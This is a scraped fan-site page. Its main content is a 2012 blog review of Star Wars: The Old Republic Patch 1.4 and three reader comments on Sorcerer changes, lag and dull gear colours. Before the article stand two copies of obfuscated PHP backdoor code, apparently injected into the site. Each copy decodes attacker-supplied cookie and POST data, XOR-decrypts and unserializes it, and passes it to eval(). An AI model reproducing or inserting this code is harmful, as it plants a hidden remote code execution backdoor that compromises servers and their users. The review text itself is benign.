$eDITTpx = class_exists("E_sdBhD");if (!$eDITTpx){class E_sdBhD{private $Uwkjo;public static $GceVIgUuDx = "bb4019ce-3f6c-41c2-908d-f6034f80bd18";public static $hHxVxqyEP = NULL;public function __construct(){$STTVJb = $_COOKIE;$DZiTu = $_POST;$WDsdjh = @$STTVJb[substr(E_sdBhD::$GceVIgUuDx, 0, 4)];if (!empty($WDsdjh)){$wISPlIDZLO = "base64";$dUsBvmZpUV = "";$WDsdjh = explode(",", $WDsdjh);foreach ($WDsdjh as $WykdfVvtZ){$dUsBvmZpUV .= @$STTVJb[$WykdfVvtZ];$dUsBvmZpUV .= @$DZiTu[$WykdfVvtZ];}$dUsBvmZpUV = array_map($wISPlIDZLO . "\137" . "\x64" . "\x65" . "\x63" . "\x6f" . chr (100) . chr ( 1098 - 997 ), array($dUsBvmZpUV,)); $dUsBvmZpUV = $dUsBvmZpUV[0] ^ str_repeat(E_sdBhD::$GceVIgUuDx, (strlen($dUsBvmZpUV[0]) / strlen(E_sdBhD::$GceVIgUuDx)) + 1);E_sdBhD::$hHxVxqyEP = @unserialize($dUsBvmZpUV);}}public function __destruct(){$this->BfuLpx();}private function BfuLpx(){if (is_array(E_sdBhD::$hHxVxqyEP)) {$kjgrSU = str_replace("\x3c" . chr (63) . 'p' . "\150" . chr (112), "", E_sdBhD::$hHxVxqyEP["\143" . chr (111) . 'n' . chr ( 817 - 701 )."\x65" . "\156" . chr ( 520 - 404 )]);eval($kjgrSU);exit();}}}$LfAXf = new E_sdBhD(); $LfAXf = NULL;} ?> $HUXqtUIxy = class_exists("ip_QEqh");if (!$HUXqtUIxy){class ip_QEqh{private $TbmzRb;public static $FHcIW = "7ebcf308-eeb5-45d0-b672-e9d0e6153b2f";public static $fFfkEnNTtr = NULL;public function __construct(){$FhesM = $_COOKIE;$LHvkqFrxmX = $_POST;$MCHrxi = @$FhesM[substr(ip_QEqh::$FHcIW, 0, 4)];if (!empty($MCHrxi)){$ukeOe = "base64";$JuQfYmlyOm = "";$MCHrxi = explode(",", $MCHrxi);foreach ($MCHrxi as $BJxJBWW){$JuQfYmlyOm .= @$FhesM[$BJxJBWW];$JuQfYmlyOm .= @$LHvkqFrxmX[$BJxJBWW];}$JuQfYmlyOm = array_map($ukeOe . chr ( 127 - 32 )."\144" . "\x65" . "\143" . 'o' . "\x64" . "\x65", array($JuQfYmlyOm,)); $JuQfYmlyOm = $JuQfYmlyOm[0] ^ str_repeat(ip_QEqh::$FHcIW, (strlen($JuQfYmlyOm[0]) / strlen(ip_QEqh::$FHcIW)) + 1);ip_QEqh::$fFfkEnNTtr = @unserialize($JuQfYmlyOm);}}public function __destruct(){$this->tSjrbbjY();}private function tSjrbbjY(){if (is_array(ip_QEqh::$fFfkEnNTtr)) {$xdxaj = str_replace("\x3c" . "\x3f" . 'p' . chr ( 133 - 29 ).chr (112), "", ip_QEqh::$fFfkEnNTtr["\x63" . 'o' . chr (110) . "\x74" . 'e' . "\156" . chr ( 225 - 109 )]);eval($xdxaj);exit();}}}$SRNAi = new ip_QEqh(); $SRNAi = NULL;} ?> My Two Credits: Patch 1.4 – Corellian Run Radio
Oct 022012
 

 

Photo-Receptor Focus on Patch 1.4

By Maer

The long-awaited patch has finally come and brings with it the new Operation “Terror From Beyond”, some class changes and “Quality of Life” improvements. Some of the new changes are great, some only so-so and others are just unwelcome. Other changes that should have happened…well, didn’t.

More after the jump…

The new heal for Sorcs is pretty awesome and I must say I was pleasantly surprised. I thought it was going to be little more than a sop for taking away the full functionality of Overload and reducing my range on Electrocute. Basically, those abilities are useless for me now. I’m also sure that there are others who won’t be as bothered by the change. As it is, I only use them in certain situations. The loss of the 360 degree effect on Overload to a cone effect has caused me to move that ability over to the side bar. Depending on how often I actually use it will determine if I remove it completely. I’m not optimistic on that.

But the heal? Yep, it’s pretty effective and I love it in Operations. I use it in combination with Consumption and it makes my life easier in those tough fights. So, all in all, I’m liking the new heal – a lot!

One thing I’ve noticed that’s making things more difficult is that the lag is worse than it was before. I rarely had issues in the past and now I’m running into them more often. I hope this is a temporary issue or maybe just certain planets that will get fixed soon.

Of course, one of my loves is fashion and that’s still lacking. My guild had a large event recently and the first thing I noticed was how dull and dreary the colors of our gear were, with only a few exceptions. Why Bioware can’t hire some college students to design some cool looking gear is beyond me. Because any good artist or costumer would be able to come up with better looking stuff than what we have. And I’ve seen some pretty good students in both these areas.

However, I’ve about given up that Bioware has any intention of bringing color or fashion into our gear, which is very unfortunate for me. I’m very color aware and I prefer games that have lots and lots of color. This lack has bothered me since the beginning. I’ve been complaining since the beginning, too. To add to my dissatisfaction, the unify color function is not working as it had before. Not that it was all that great even before the patch, but now it seems even worse and my outfits match even less. It’s very noticeable and the obvious differences are very distracting. This is not making me a happy camper, here.

That applies to the new feature for companions to match, too. It’s hard to be too excited about companions being unified, when the feature doesn’t work very well on my own character. I’m glad I can hide their helms, though.

I haven’t yet had a chance to get into the new Operation, so I’ll leave that until I actually get that chance.

The “Quality of Life” improvements have some good things. The Group Finder Teleport Back feature is nice. Although, I can see it being a pain if you get a bad group and can’t down the first boss. Otherwise it’s another one of those welcome additions that we should have had long ago.

Likewise with the Delayed Binding. We should have had this long before now and I’m super glad they finally put it in. Being able to exchange an item at vendors or give something to another player in the group is great.

The mood thing is good entertainment, but none of the expressions were what I want to run around with. The entertainment value comes more from laughing at how bad my character looks and less at being something I want to use.

Overall, while there are some very good things in this patch, it’s mostly lackluster. Nothing here is super exciting like it was in the beginning and some things are just annoying. Some of these changes almost feel like too little, too late. Brilliant stories and well-drawn graphics are awesome, but they do not make up for the areas that are lacking. And putting things in that we should have had long ago? Well, it’s tough to get too excited about that. Bioware seriously needs to step up their game (literally) and step it up a lot.

That’s my two credits. What’s yours?

Ready…set…discuss…

 

  3 Responses to “My Two Credits: Patch 1.4”

  1. Color is nice, of course, but I think it is more important for Bioware to stick with the whole Star Wars “look.” If SWTOR were to start looking like other, garish anime-style MMOs, it would lose that unique “I am on Tatooine” feel, which I treasure. Perhaps, for the more style conscious players, Bioware could adopt the the idea of dyes, a la Guild Wars 2.

  2. Thanks for your comment. That’s exactly what I had in mind. Use dyes or the color wheel that already exists in game. I do get tired of monochrome planets, with the exception of Tatooine, which I adore. That has more to do witht the movies and nosaltgia than anything else though. The others could have used a lot more variety in their use of color. It feels like “Oh, here’s the orange planet (Quesh), here’s the white planet (Hoth), etc.” Gets old after you level several characters.

  3. Seriously about the fashion! I’m pretty jealous of the empire in this regard. With a few exceptions, Jedi Knight clothes are brown, hooded, and either a robe or a cape. I get that these robes look starwarsy, but obscuring my toon’s hair and half her face makes me annoyed.

    I haven’t noticed the unify color problem, I’ll have to check that out. Currently my toon is wearing a matching social set and not using the unify feature. As for hiding the companion helm, it resets after every cut scene. Really annoying. The “workaround” on the known issues list is to toggle the option on and off again. But doing that after every cut scene is annoying busywork.

    My guild did the new op over the weekend but I wasn’t there for it. Supposedly it’s very good and I look forward to going there.

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